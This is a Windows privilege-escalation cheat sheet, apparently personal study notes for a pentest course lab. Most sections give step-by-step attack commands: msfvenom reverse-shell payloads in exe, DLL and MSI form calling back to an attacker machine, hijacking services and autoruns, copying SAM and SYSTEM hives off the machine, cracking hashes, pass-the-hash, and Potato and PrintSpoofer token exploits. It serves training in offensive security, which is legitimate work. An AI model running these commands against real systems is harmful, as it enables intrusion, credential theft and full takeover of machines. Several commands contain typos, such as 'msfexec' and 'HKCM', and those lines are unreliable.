

## Privilege Escalation Strategy

- Check your user (whoami) and groups (net user <username>)
- run winPEAS with fast, searchfast, and cmd options
- run seatbelt & other scripts
- If your scripts fail and you don't know why, you can always run the manual commands from above and there are other Windows PrivEsc cheatsheets online  
Other Cheatsheets: <http://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md>

## Spawning Admin Shells

- Reverse Shell: msfvenom -p windows/x64/shell\_reverse\_tcp LHOST=x.x.x.x LPORT=0000 -f exe -o /tools/reverse.exe
- Set up nc listener to catch the shell (nc -nvp 4444)
- copy exe file (rshell) into the windows machine and execute

IF RDP is available or can be enabled, we can add a low privileged user to the admin group and then spawn a shell (net localgroup administrators <username> /add)

PsExec: To escalate from admin user to full SYSTEM .\PsExec64.exe -accepteula -i -s C:\Location\reverseshell.exe

## Tools

**PowerUp:** <https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1> \*Needs to be run from a powershell session  
Pre-Compiled: <https://github.com/3motecontrol/Ghostpack-CompiledBinaries/blob/master/SharpUp.exe>  
\*Hunts for specific privilege escalation misconfigurations.

```
C:\PrivEsc>powershell -exec bypass
Windows PowerShell
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PS C:\PrivEsc> .\PowerUp.ps1
PS C:\PrivEsc> Invoke-AllChecks
```

**SharpUp:** <https://github.com/GhostPack/SharpUp> \* Can be run from powershell or normal command line  
Pre-Compiled: <https://github.com/3motecontrol/Ghostpack-CompiledBinaries/blob/master/SharpUp.exe>  
\*Hunts for specific privilege escalation misconfigurations.

```
PS C:\PrivEsc> .\SharpUp.exe
--- SharpUp: Running Privilege Escalation Checks ---
```

**Seatbelt:** <https://github.com/GhostPack/Seatbelt> \* Is run from normal command prompt  
Pre-Compiled: <https://github.com/3motecontrol/Ghostpack-CompiledBinaries/blob/master/Seatbelt.exe>  
\*Seatbelt is for enumeration. It does not actively hunt for privilege escalation misconfigurations, but provides related information for further investigation.

```
C:\PrivEsc>.\Seatbelt.exe
```

**winPEAS:** <https://github.com/carlosopolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS> \* BEFORE running winPEAS you must run(elevate)
\*winPEAS actively hunts for privilege escalation misconfigurations, and highlights them for the user the results  
\* Then in a new prompt run: C:\PrivEsc>.\winPEASAny.exe -h  
[!] WinPEAS is a binary to enumerate possible paths to escalate privileges locally

**accesschk.exe:**  
\*checks user access control rights. This tool can be used to check whether a user or group has access to files, directories, services, and registry keys.  
\* The downside is that more recent versions spawn a GUI "accept EULA" popup window. When using the command line, we have to use an older version to avoid this.

## Kernel Exploits

### Finding Kernel Exploits

- Enumerate Windows version / patch level (sysinfo)
- Find matching exploits (Google, ExploitDB, GitHub)
- Compile the Exploit and Run
- Often unstable and may possibly crash the system (Last resort)

**Tools:**  
Windows Exploit Suggester: <https://github.com/bitsadmin/wesng> \* To run Windows Exploit Suggester: ./wesng# python wesng.py /tools/systeminfo.txt -i 'Elevation of Privilege' --exploits-only | more  
\* Cross reference results with SecWiki Precompiled exploits (below)  
\* Transfer binary to the windows machine.  
\* Start nc listener  
\* Run Exploit and provide a reverse shell to execute:

```
C:\PrivEsc>.\vce-2018-8120-x64.exe C:\PrivEsc\reverse.exe
CVE-2018-8120 exploit by b3nmar (https://github.com/b3nmar)
[*] Exploit successfully triggered on fffff900c3230c90
[*] Triggering vulnerability...
[*] Overwriting ... fffff80002c53c68
```

Precompiled Kernel Exploits: <https://github.com/SecWiki/windows-kernel-exploits>

Watson: <https://github.com/rasta-mouse/Watson>

## Service Exploits

### Service Commands

Query the configuration of a service: > sc.exe qc <ServiceName>  
Query the current status of a service: > sc.exe query <ServiceName>  
Modify a configuration option of a service: > sc.exe config <ServiceName> <option>= <value>  
Start/Stop a service: > net start/stop <ServiceName>

### Service Misconfiguration Types:

- Insecure Service Properties**
  - Potential Rabbit Hole: If you can change a service configuration, but cannot start/stop a service you may not be able to escalate privileges.
    - Run winPEAS to enumerate services information: C:\PrivEsc>.\winPEASAny.exe quiet servicesinfo
    - In your reverse shell, confirm results of whichever service with accesschk.exe C:\PrivEsc>.\accesschk.exe /accepteula -uwdq user daclsvc
    - Query the service configuration: C:\PrivEsc>sc query daclsvc
    - Query the current state of the service: C:\PrivEsc>sc query daclsvd
    - Set Service binary Path (Since we have this ability with this service) to the location of a reverseshell. C:\PrivEsc>sc config daclsvd binpath= "C:\PrivEsc\reverse.exe"
      - sc config daclsvd binpath= "C:\PrivEsc\reverse.exe"
      - [SC] ChangeServiceConfig SUCCESS
    - Start a listener in kali
    - Start the service
- Unquoted Service Paths**
  - \* Executables in Windows can be run without using the extension (e.g. whoami.exe > whoami)
  - \* Some executables take arguments, separated by spaces (e.g. prog.exe arg1 arg2)
  - \* This leads to ambiguity when using absolute paths that are unquoted and contain spaces
  - \* If we write to a location Windows checks before the actual executable, we can trick the service into executing our executable instead.
    - Enumerate services information (See winPEAS output)
    - Find unquoted service path vulnerability
    - Check that you can start/stop the service C:\PrivEsc>.\accesschk.exe /accepteula -uwdq C:\
    - Check for write permissions in the existing binary path to service C:\PrivEsc>.\accesschk.exe /accepteula -uwdq C:\Program Files\
    - C:\PrivEsc>.\accesschk.exe /accepteula -uwdq "C:\Program Files\Unquoted Path Service"
    - We can so lets create a reverse shell in the \Unquoted Path Service\ directory and call it Common.exe C:\PrivEsc>copy reverse.exe "C:\Program Files\Unquoted Path Service\Common.exe"
    - Set up kali listener
    - Start the service C:\PrivEsc>net start unquotedsvc
- Weak registry Permissions**
  - The Windows registry stores entries for each service. Since registry entries can have ACLs, if the ACL is misconfigured, it may be possible to modify a service's configuration even if we cannot modify the service directly.
    - Enumerate with winPEAS (see winPEAS output)
    - Verify registry permission with powershell.
 

```
C:\PrivEsc>powershell -exec bypass
PS C:\PrivEsc> Get-Acl HKEY:System\CurrentControlSet\Services\regsvc | Format-List
```
    - \*Can Also verify with accesschk.exe PS C:\PrivEsc>.\accesschk.exe /accepteula -uwdq HKEY:System\CurrentControlSet\Services\regsvc
    - Use accesschk.exe to verify that you can start the service PS C:\PrivEsc>.\accesschk.exe /accepteula -uwdq user regsvc
    - Check the current values in the service registry entry PS C:\PrivEsc> reg query HKEY:SYSTEM\CurrentControlSet\services\regsvc
    - Overwrite the image path value in the services registry entry so that it points to our reverse shell (Same as changing the bin path of our service) PS C:\PrivEsc> reg add HKEY:SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG\_EXPAND\_SZ /d C:\PrivEsc\reverse.exe /f
    - Start a listener in kali
    - Start the service
- Insecure Service Executables**
  - If the original service executable is modifiable by our user, we can simply replace it with our reverse shell executable.
  - Be sure to create a backup of the original executable if you are exploiting this in a real system

```

1. See winPEAS output to search for Insecure Service executables
2. Confirm with accesschk [C:\Program Files\File Permissions Service\filepermsservice.exe]
3. Confirm that we can start/stop the service [C:\PrivEsc>\accesschk.exe /accepteula -uvqc filepermssvc]
4. Back up original service executable [C:\PrivEsc>copy "C:\Program Files\File Permissions Service\filepermsservice.exe" C:\Temp]
5. Overwrite the original service executable with our reverseshell exe [C:\PrivEsc>copy /Y C:\PrivEsc\reverse.exe "C:\Program Files\File Permissions Service\filepermssvc.exe"]
6. Set up listener in kali
7. Start the service

```

#### 5. DLL Hijacking

\* Often a service will try to load functionality from a library called a DLL (dynamic link library). Whatever functionality the DLL provides, will be executed with the same privileges as the service that loaded it.

- \* If a DLL is loaded with an absolute path, it might be possible to escalate privileges if that DLL is writable by our user.
- \* A more common misconfiguration that can be used for privesc is if a DLL is missing from the system, and our user has write access to a directory within the PATH that Windows searches for DLL.
- \* However, detection of vulnerable services is difficult and is a manual process

1. Enumerate the winPEAS output for DLL hijacking (C:\Temp is writable and in the PATH) and non-windows services
2. Enumerate which of the services for which we have start/stop/ability (Only doing DLL in the e.g.) [C:\PrivEsc>accesschk.exe /accepteula -uvqc user dllsvc]
3. Confirm the service [C:\PrivEsc>sc qc dllsvc]
4. Copy service to a vm with admin rights to analyze the file
- \* Use Procmon to analyze and confirm that the service is in the C:\Temp PATH
5. Generate a reverse shell with format set to DLL [root@kali:~# msfvenom -p windows/x64/shell\_reverse\_tcp LHOST=192.168.1.11 LPORT=53 -f dll -o /tools/hijackme.dll]
6. Start a listener in kali
7. Copy payload into the C:\Temp folder [C:\PrivEsc>copy \\192.168.1.11\tools\hijackme.dll C:\Temp]
8. Stop the service [C:\PrivEsc>net stop dllsvc]
9. Start the service again [C:\PrivEsc>net start dllsvc]

## Registry Exploits

### AutoRuns

- \* Windows can be configured to run commands at startup, with elevated privileges.
- \* These "AutoRuns" are configured in the Registry
- \* If you are able to write to an AutoRun executable, and are able to restart the system (or wait for it to be restarted) you may be able to escalate privileges

```

1. Enumerate using winPEAS [C:\PrivEsc>.\winPEASAny.exe quiet applicationsinfo]
2. Query the registry to get a list of AutoRun programs [C:\PrivEsc>reg query HKEY_SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
3. For each program run accesschk to verify the permissions on the executable [C:\PrivEsc>.\accesschk.exe /accepteula -wvu "C:\Program Files\Autorun Program\program.exe"]
4. Make a backup of the original exe [C:\PrivEsc>copy "C:\Program Files\Autorun Program\program.exe" C:\Temp]
5. Overwrite the executable with our reverse shell [C:\PrivEsc>copy /Y reverse.exe "C:\Program Files\Autorun Program\program.exe"]
6. Set up a listener
7. Restart windows ( or wait for a restart)

```

### AlwaysInstallElevated

- \* MSI files are package files used to install applications. These files run with the permissions of the user trying to install them.
- \* Windows allows for these installers to be run with elevated (admin) privs
- \* If this is the case, we can generate a malicious MSI file which contains a reverse shell.
- \* Two registry settings much be enabled for this to work.
- \* The "AlwaysInstallElevated" value must be set to 1 for both the local machine and the current user. (If either is missing the exploit will not work)
- HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer
- HKCM\SOFTWARE\Policies\Microsoft\Windows\Installer

  1. Run winPEAS to check system credentials [C:\PrivEsc>.\winPEASAny.exe quiet windowscreds]
  2. To verify manually query the registry for HKLM/HCLM keys [C:\PrivEsc>reg query HKCU\SOFTWARE\Polices\Microsoft\Windows\Installer /v AlwaysInstallElevated]
  3. Create a reverseshell with the format MSI [root@kali:~# msfvenom -p windows/x64/shell\_reverse\_tcp LHOST=192.168.1.11 LPORT=53 -f msi -o /tools/reverse.msi]
  4. Start a listener on kali
  5. Copy generated reverseshell to windows machine [C:\PrivEsc>copy \\192.168.1.11\tools\reverse.msi .]
  6. Execute the file [C:\PrivEsc>msfexec /quiet /qn /i reverse.msi ]

## Passwords

- \* Several features of Windows store passwords insecurely

### Registry:

\* Search the registry for passwords with commands:  
> reg query HKLM /f password /t REG\_SZ /s  
> reg query HKCM /f password /t REG\_SZ /s  
\* These with have LOTS of results

**winPEAS:**

1. Run winPEAS for files/user info [C:\PrivEsc>.\winPEASAny.exe quiet filesinfo userinfo]
2. Use winexe to spawn a shell [root@kali:~# winexe -U 'admin%password123' //192.168.1.22 cmd.exe]
3. Since the user we have spawned a shell as is an admin we can modify the command and get a system shell. [root@kali:~# winexe -U 'admin%password123' --system //192.168.1.22 cmd.exe]

### Saved Creds

- \* Windows has a runas command which allows users to run commands with the privileges of other users.
- \* This usually requires the knowledge of the other users password
- \* However, Windows also allows users to save their credentials to the system, and these saved credentials can be used to bypass this requirement

**winPEAS:**

1. run with creds check [C:\PrivEsc>.\winPEASAny.exe quiet cmd windowscreds]
2. Confirm manually by running: [C:\PrivEsc>cmdkey /list]
3. Start a listener on kali
4. Use runas to execute a reverseshell as credentialled user [C:\PrivEsc>runas /savecred /user:admin C:\PrivEsc\reverse.exe]

### Configuration Files

- \* Some admins will leave config files on the system with passwords in them
- \* The "Unattend.xml" file is an example of this.

**Commands to help search for passwords in config files (in may be easier to search manually)**

```

> dir /s *pass* *.config           (Current directory)
> findstr /si password *.xml *.ini *.txt (Current directory)

```

**winPEAS:**

1. Run winPEAS to search for creds in files [C:\PrivEsc>.\winPEASAny.exe quiet cmd searchfast filesinfo]
2. Print contents of found files to search them [C:\PrivEsc>type C:\Windows\Panther\Unattend.xml]
3. In this example the password is base64 encoded. We can decode using kali [root@kali:~# echo "cGFzc3dvcmQxMjM=" | base64 -d]
4. Then use winexe to login with the password

### SAM

- \* Windows stores password hashes in the Security Account Manager (SAM)
- \* The hashes are encrypted with a key which can be found in a file named SYSTEM
- \* If you can read the SAM and the SYSTEM file you can extract the hashes.
- \* The SAM and SYSTEM files are located in the C:\Windows\System32\Config directory.
- \* The files are locked while Windows is running.
- \* Backups may exist in the C:\Windows\Repair or C:\Windows\System32\Config\RegBack directories.

**winPEAS:**

1. Run winPEAS to search for creds in files [C:\PrivEsc>.\winPEASAny.exe quiet cmd searchfast filesinfo]
2. Copy SAM and SYSTEM files back to kali [C:\PrivEsc>copy C:\Windows\Repair\SAM \\192.168.1.11\tools\ C:\PrivEsc>copy C:\Windows\Repair\SYSTEM \\192.168.1.11\tools\]
3. You can use SAM dump or PwDump to dump files.
4. In this example we will get the latest pwdump called credump [root@kali:~# git clone https://github.com/Neohapsis/credump7.git]
- \* Only supports python2
5. Use credump [root@kali:~# ./credump7# python2 pwdump.py /tools/SYSTEM /tools/SAM]
6. Try to crack hash using hashcat (last half of hash) [root@kali:~# ./credump7# hashcat -m 1000 -force a9fd8038c4b75ebc76dc855dd74f0da^/usr/share/wordlists/rockyou.txt]

### Pass the Hash

- \* We can use a modified version of winexe, pth-winexe to spawn a command prompt using the admin users hash

1. Obtain the admin Hash as we did above in the SAM section
2. Login as admin using the hash with out needing to crack it. (need to use enter hash)

```

root@kali:~# ./credump7# pth-winexe -U 'admin%aad3b435b51404eeaad3b435b51404ee:a9fd8038c4b75ebc76dc855dd74f0da' //192.168.1.22 cmd.exe

```

## Scheduled Tasks

- \* Windows can be configured to run tasks at specific times, periodically or when triggered by some event.
- \* Tasks usually run with the privileges of the user who created them, however administrators can configure tasks to run as other users, including SYSTEM
- \* There is no easy way to enumerate tasks that belong to other users as a low privileged user account.

List all scheduled tasks your user can see:

```
> schtasks /query /fo LIST /v
```

Using Powershell:

```
PS> Get-ScheduledTask | where { $_.TaskPath -notlike "\Microsoft*" } | ft TaskName, TaskPath, State
```

### Enumeration

1. Enumerate for interesting directories such as \DevTools\
2. When you find files you can view them to see if there are scheduled tasks
3. Use accesschk to check our permissions on the CleanUp.ps1 script
4. We can write to this file
5. Back up the original file
6. Start a listener
7. Append the original file with a reverse shell
8. Wait for the scheduled task to complete

```
Directory of C:\DevTools
02/21/2020 05:11 PM <DIR> .
02/21/2020 05:11 PM <DIR> ..
02/21/2020 05:11 PM 173 Cleanup.ps1
0 Dir(s) 25,344,265,144 bytes free
C:\DevTools>type Cleanup.ps1
# This script will clean up all your old dev logs every minute,
# To avoid permissions issues, run as SYSTEM (should probably fix this later)
Remove-Item C:\DevTools\*.log
```

## Insecure GUI Apps (Citrix Method)

- \* On some older versions of Windows, users could be granted the permission to run certain GUI apps with admin privs
- \* There are often numerous ways to spawn command prompts from within GUI apps, including using native Windows functionality
- \* Since the parent process is running with administrator privileges, the spawned command prompt will also run with these privileges

Tib3rius calls this the "Citrix Method" because it uses many of the same techniques used to break out of Citrix environments

Example:

MSPaint

1. Open MS paint
2. Search tasklist for running tasks
3. We find that mspaint is running with admin privileges
4. Go to the open MS Paint window click File -> Open
5. In the navigation bar replace the contents
6. Press Enter and an administrator shell will spawn

\* I am sure this can be true for other GUI applications



## Startup Apps

- \* Each user can define apps that start when they log in, by placing shortcuts to them in a specific directory
- \* Windows also has a startup directory for apps that should start for all users : C:\ProgramData\Microsoft\Start Menu\Programs\StartUp
- \* If we can create files in this directory, we can use our reverse shell executable and escalate privileges when an admin logs in

1. Run accesschk on the global startup programs directory

```
C:\PrivEsc>.accesschk.exe /accepteula -d "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"
```

2. We can create a start up app in this file since we have permissions
- \* Startup apps in this file must be shortcuts (aka Link Files)
- \* Example vb script that we can use to link/shortcut to our reverse.exe executable
3. Start a listener
4. Wait for an admin to login

```
C:\PrivEsc>type CreateShortcut.vbs
type CreateShortcut.vbs
Set oWS = WScript.CreateObject("WScript.Shell")
sLinkFile = "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\reverse.lnk"
Set oLink = oWS.CreateShortcut(sLinkFile)
oLink.TargetPath = "C:\PrivEsc\reverse.exe"
oLink.Save
```

  

```
C:\PrivEsc>cscript CreateShortcut.vbs
Microsoft (R) Windows Script Host Version 5.812
Copyright (C) Microsoft Corporation. All rights reserved.
```

## Installed Apps

1. Load Exploit-db.com and select filters
2. Filter Type(local), Platform (Windows), check the "Has App" box, in the search box type "priv esc"
- \* Most of these exploits rely on vulnerabilities that we have already covered above.
- \* Some may help with buffer overflows

3. Enumerate Apps

```
C:\PrivEsc>tasklist /V
```

4. Can also use seatbelt to search for non-standard processes

```
C:\PrivEsc>.\seatbelt.exe NonstandardProcesses
```

5. This can also be done with winPEAS (Process is misspelled in the current version)

```
C:\PrivEsc>.\winPEASAny.exe quiet procesinfo
```

## Hot Potato

- \* Hot Potato is the name of an attack that uses a spoofing attack along with an NTLM relay attack to gain SYSTEM privileges
- \* The attack tricks Windows into authentication as the SYSTEM user to fake a HTTP server using NTLM. The NTLM credentials then get relayed to SMB in order to gain command execution.
- \* This attack works on Windows 7, 8, early versions of Windows 10, and their server counterparts.

1. Start a listener on kali

2. Copy potato exploit the the windows machine.

3. Run the command to execute

```
C:\PrivEsc>.\potato.exe -ip 192.168.1.33 -cmd "C:\PrivEsc\reverse.exe" -enable_http
```

```
server true -enable_defender true -enable_spoof true -enable_exhaust true
```

## Token Impersonation

Service Accounts: \* Service accounts can be given special privileges in order for them to run their services, and cannot be logged into directly

Rotten Potato Exploit:

- \* Originally discovered in 2016
- \* Service accounts could intercept a SYSTEM ticket and use it to impersonate the SYSTEM user.
- \* This was possible because service accounts usually have the "SeImpersonatePrivilege" privilege enabled.

SeImpersonate/SeAssignPrimaryToken:

- \* Service accounts are generally configured with these two privileges.
- \* They allow the account to impersonate the access tokens of other users (including the SYSTEM user)
- \* Any user with these privileges can run the token impersonation exploits presented in this section (Token Impersonation)

Juicy Potato Exploit:

- \* Works in the same way as Rotten Potato, but the authors did extensive research and found many more ways to exploit
- <https://github.com/ohpe/juicy-potato>
- \* This is fixed on the latest editions on windows 10

To get system authority :

1. Get admin privileges
2. Start listener on kali
3. Get a reverse shell using psexec as local service user
4. Check privileges for SECURE/SeImpersonatePrivilege
5. Start another listener on kali
6. Run juicy potato Port number must be open and the cSID must be valid for the version of windows.

```
C:\Windows\system32>C:\PrivEsc\JuicyPotato.exe -l 1337 -p C:\PrivEsc\reverse.exe -t
```

```
* -c {08ca98d6-ff5d-49b8-abc6-03dd84127020}
```

Rogue Potato Exploit:

Github <http://github.com/antonioCoco/RoguePotato>  
blog <https://decoder.cloud/2020/05/11/no-more-juicypotato-old-story-welcom-roguepotato/>  
Compiled <https://github.com/antonioCoco/RoguePotato/releases>

To get system authority

\*Requires port forwarding  
\*Socat Redirct:

```
C:\PrivEsc>sudo socat tcp-listen:135,reuseaddr,fork tcp:192.168.1.22:9999
```

1. Get admin shell

2. Start listener on kali

3. Transfer PsExec and Rogue potato payload

4. With PsExec run our executable as our local service service account

```
C:\PrivEsc>C:\PrivEsc\PSExec64.exe /accepteula -i -u "nt authority\local service" C:\PrivEsc\reverse.exe
```

```

5. Shell is spawned with authority local service
6. Check our privileges |C:\Windows\system32>whoami /priv
   SeImpersonatePrivilege      Impersonate a client after authentication Enabled
   SeCreateGlobalPrivilege      Create global objects           Enabled
7. Set up another kali listener
8. Run Rogue Potato to listen on 9999 C:\Windows\system32>C:\PrivEsc\RoguePotato.exe -r 192.168.1.11 -l 9999 -e "C:\PrivEsc\reverse.exe"

```

#### PrintSpoofer

\*Does not require port forwarding like Rogue Potato  
 \*PrintSpoofer is an exploit that targets the Print Spooler service.

Github

<https://github.com/itm4n/PrintSpoofer>

<https://itm4n.github.io/printspoofer-abusing-impersonate-privileges>

```

1.Get Admin Shell
2.Set up a listener to catch service privileges account
3.Transfer PrintSpoofer (Requires Microsoft Visual C++)
4.Get reverse shell as the local services service account C:\PrivEsc\PSExec64.exe /accepteula -i -u "nt authority\local service" C:\PrivEsc\reverse.exe
5.Check our privileges |C:\Windows\system32>whoami /priv
   SeImpersonatePrivilege      Impersonate a client after authentication Enabled
   SeCreateGlobalPrivilege      Create global objects           Enabled
6. Set another listener to catch system reverse shell
7. Run PrintSpoofer exploit C:\Windows\system32>C:\PrivEsc\PrintSpoofer.exe -i -c "C:\PrivEsc\reverse.exe"

```

## Port Forwarding

\* Sometimes it is easier to run exploits on kali, but the vulnerable program is listening on an internal port.

\* In this case we need to forward a port on kali to the internal port in windows

\* we can do this using plink.exe

#### plink.exe

```

1. Create a shell as the user
2. Copy the plink.exe to the windows machine
3. Kill the smb server running on kali root@kali:~# python /usr/share/doc/python3-impacket/examples/smbserver.py tools .. (port 445)
  *We will need port 445
4. root password enable ssh root@kali:~# vim /etc/ssh/sshd_config
5. Restart the SSH service service ssh restart
6. Run plink.exe in the windows shell C:\PrivEsc\.\plink.exe root@192.168.1.11 -R 445:127.0.0.1:445
  * user and IP address of our kali machine first 445 is our kali port, then windows ip and port to forward to
7. Login. (May have to hit enter a couple times)
8. Modify the winexe command we could not use due to closed ports with loopback winexe -U 'admin%password123' //127.0.0.1 cmd.exe

```

## INFO ONLY: getsystem (Named Pipes and Token Duplication), User Privileges

Access Tokens are special objects which store a users identity and privileges

Primary Access Token: Created when the user logs in, bound to the current user session. When a user starts a new process, their primary access token is copied and attached to the new process.

Impersonation Access Token: Created when a process or thread needs to temporarily run with the security context of another user

#### Token Duplication

Windows allows processes/thread to duplicate their access tokens

An impersonation access token can be duplicated into a primary access token this way

If we can inject into a process, we can use this functionality to duplicate the access token of the process, and spawn a separate process with the same privileges

#### Named Pipes

A named pipe is an extension of "piping"

A process can create a named pipe, and other processes can open the named pipe to read or write data from/to it

The process which created the named pipe can impersonate the security context of a process which connects to the named pipe

#### getsystem

The source code for the getsystem command can be found here: <https://github.com/rapid7/metasploit-payloads/tree/d672097e9989e0b4caecfad08ca9debc8e50bb0c/c/meterpreter/source/extensions/priv>

\*Three files to look through which are the 3 techniques used to "get the system"

1. elevate.c

2. namedpipe.c

3. tokendup.c

##### \* Named Pipe Impersonation (In Memory/Admin)

Creates a named pipe controlled by Meterpreter  
 Creates a service (running as SYSTEM) which runs a command that interacts directly with the named pipe.  
 Meterpreter then impersonates the connected process to get an impersonation access token (with the SYSTEM security context)

The access token is then assigned to all subsequent Meterpreter threads (They Run with SYSTEM privileges)

##### \*Named Pipe Impersonation (Dropper/Admin)

Very similar to Named Pipe Impersonation (In memory/Admin)  
 Only difference is a DLL is written to disk, and a service created which runs the DLL as SYSTEM  
 The DLL connects to the named pipe

##### \*Token Duplication (In Memory/Admin)

This technique requires the "SeDebugPrivilege"  
 it finds a service running as SYSTEM in which it injects a DLL  
 the DLL duplicates the access token of the service and assigns it to meterpreter  
 \*Currently only works on x86 architectures

\*This operates entirely in memory and does NOT create a service

#### SeImpersonatePrivilege

The SeImpersonatePrivilege grants the ability to impersonate an access token which it can obtain

If an access token from a SYSTEM process can be obtained, then a new process can be spawned using that token

Juicy Potato abuses this

#### SeAssignPrimaryPrivilege

The SeAssignPrimaryPrivilege is similar to SeImpersonatePrivilege

It enables a user to assign an access token to a new process

Juicy Potato abuses this

#### SeBackupPrivilege

The SeBackupPrivilege grants read access to all objects on the system, regardless of their ACL.

Using this privilege, a user could gain access to sensitive files, or extract hashes from the registry which could then be cracked or used in a pth attack

#### SeRestorePrivilege

The SeRestorePrivilege grants write access to all objects on the system, regardless of their ACL

There are a multitude of ways to abuse this privilege:

1. Modify service binaries
2. Overwrite DLLs used by SYSTEM processes
3. Modify registry settings

#### SeTakeOwnershipPrivilege

The SeTakeOwnershipPrivilege lets the user take ownership over an object (the WRITE\_OWNER permission)

Once you own an object, you can modify its ACL and grant yourself write access.

The same methods used with SeRestoreprivilege then apply.